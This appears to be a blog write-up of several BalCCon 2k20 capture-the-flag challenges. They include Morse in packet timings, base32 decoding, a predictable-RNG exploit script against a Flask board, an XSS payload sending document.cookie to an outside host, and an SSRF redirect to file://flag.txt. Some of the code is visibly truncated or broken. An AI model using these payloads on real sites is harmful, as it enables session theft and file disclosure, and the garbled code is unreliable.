Ajdin's blog Tags Github RSS

BalCCon 2k20 CTF Write Up

26 Sep 2020

This is a BalCCon 2k20 Write Up by imm0rtals


Strange… Everything looks the same. But there is some message hidden, I am sure!

We are given a .pcap file and if we look at the duration

>>> for i in durs:
...     if i < 0.20:
...             morse +='.'
...     elif i > 0.5 and i < 1:
...             morse +='-'
...     else:
...             morse +=' '
>>> morse
'-... -.-. - ..-.  -.-. --- ...- . .-. -  - .. -- .. -. --.  -.-. .... .- -. -. . .-..  .- - - .- -.-. -.-  .- -  -.. .- .-- -.  .'

welcome/My glass is empty?

Let’s change that and hang out with us in IRC :)

Connect to #balccon2k20-ctf IRC and get the flag


crypto/Slang Back

These youngsters speak some weird language. Does it make any sense at all?!


Reverse it


Remove “u”, “za” and “nje”


Move some letters arround to create proper Serbian words (Remember this CTF was hosted in Serbia?):


Which translates to:

Without music life would be one big mistake

crypto/Twice Cooler

We received the message which resembles some very familiar encoding… But not exactly it.

The message has almost 40000 characters, just base32 decode over and over and you get:



What is the status of Navajo tribes nowadays?

Open https://navajo.pwn.institute/server-status and check logs (note: you might have to wait if the log request is not there)


web/Two Sides of a Coin

Bulletin Board where you can buy or sell cool stuff. Check it out: https://two-sides-of-a-coin.pwn.institute

CTF challege provides us with app.py:

#!/usr/bin/env python3

import datetime
import os
import string
import random
import time

import sqlite3

from flask import Flask, redirect, render_template, request, url_for

if os.getenv('READONLY'):
    READONLY = bool(os.getenv('READONLY'))

app = Flask(__name__)

def index():
    conn = sqlite3.connect('board.db')
    c = conn.cursor()
    c.execute('SELECT id_viewer, title FROM board')

    data = []
    for item in c.fetchall():
            'id': item[0],
            'title': item[1],

    return render_template('index.html', data=data, readonly=READONLY)

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)

    return ''.join([random.choice(alphabet) for _ in range(32)])

@app.route('/add', methods=['GET', 'POST'])
def add():
    if READONLY:
        return 'Sorry, new advertisements are temporarily not allowed.'

    if request.method == 'GET':
        return render_template('add.html')

    posted_at = round(time.time(), 4)
    id_viewer = get_random_id()
    id_editor = get_random_id()

    conn = sqlite3.connect('board.db')
    c = conn.cursor()
    params = (id_viewer, id_editor, posted_at, request.form['title'], request.form['text'], request.form['text_extra'])
    c.execute('INSERT INTO board VALUES (?, ?, ?, ?, ?, ?)', params)

    return redirect('/view/' + id_editor)

def view(_id):
    conn = sqlite3.connect('board.db')
    c = conn.cursor()
    params = (_id, _id)
    c.execute('SELECT id_viewer, id_editor, posted_at, title, text_viewer, text_editor FROM board WHERE id_viewer = ? OR id_editor = ? LIMIT 1', params)
    data = c.fetchone()

    if not data:
        return 'Advertisement not found.', 404

    # extra notes for editor
    is_editor = (data[1] == _id)
    text_extra = None
    url_viewer = None

    if is_editor:
        text_extra = data[5]
        url_viewer = url_for('view', _id=data[0])

    data = {
        'posted_at': datetime.datetime.fromtimestamp(data[2], tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC'),
        'title': data[3],
        'text': data[4],
        'text_extra': text_extra,
        'url_viewer': url_viewer,

    return render_template('view.html', data=data)

if __name__ == '__main__':
    app.run(host='', port=5002)

The random number generation in not actually random. The script which extracts the flag:

import random
import string
import time
import calendar
import requests
import argparse
import bs4
import itertools

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

def frange(start,stop,step):
  if step == 0:
    raise ValueError("Step must not be 0")
  sample_count = int(abs(stop-start) / step)
  return itertools.islice(itertools.count(start,step),sample_count)

def check_id(view_id):
  r = requests.get(host + "view/" + view_id) 
  soup = bs4.BeautifulSoup(r.text, 'html.parser')
  tm = soup.font.text[10:]
  t = time.strptime(tm,"%Y-%m-%d %H:%M %Z")
  for i in frange(0,60,0.0001):
    time_value = round(calendar.timegm(t),4)+i
    test_seed_id = get_random_id()
    if test_seed_id == view_id:
      print("Viewing id found at {:04f}'s past time : {}".format(i,test_seed_id))
      editing_id = get_random_id()
      print("Editing id found : {}".format(editing_id))
      r = requests.get(host + "view/" + editing_id)
      soup = bs4.BeautifulSoup(r.text, 'html.parser')
      print("Title: {}".format(soup.h1.text.rstrip()))
      print("Regular viewing: {}".format(soup.find_all('p')[0].text.rstrip()))
      print("Editorial viewing: {}".format(soup.find_all('p')[1].text.rstrip()))

parser = argparse.ArgumentParser(description='Solve bulletin board challenge')
args = parser.parse_args()

host = args.host
r = requests.get(host)
bs = bs4.BeautifulSoup(r.text,'html.parser')
for viewing_id in bs.find_all('a'):

And the flag is:



Look at this nice new Social Media application. You can only view your own profile, since it is still in the very early development phase, but it is the up and coming social networking platform. P.S. If you see something strange, let developers know! https://imgr.pwn.institute

After creating an account and logging in we can see an endpoint in the source code called /imageinfo

Editing the picture exif data we can inject XSS and send that url to the devs.

XSS payload:

<script>new Image().src='https://example.com/?c=%27+document.cookie</script>



web/Let Me See

This service lets you see the source code of your website: https://let-me-see.pwn.institute

This is a SSRF challenge, host this file:

header("Location: file://flag.txt");

and open it with the app: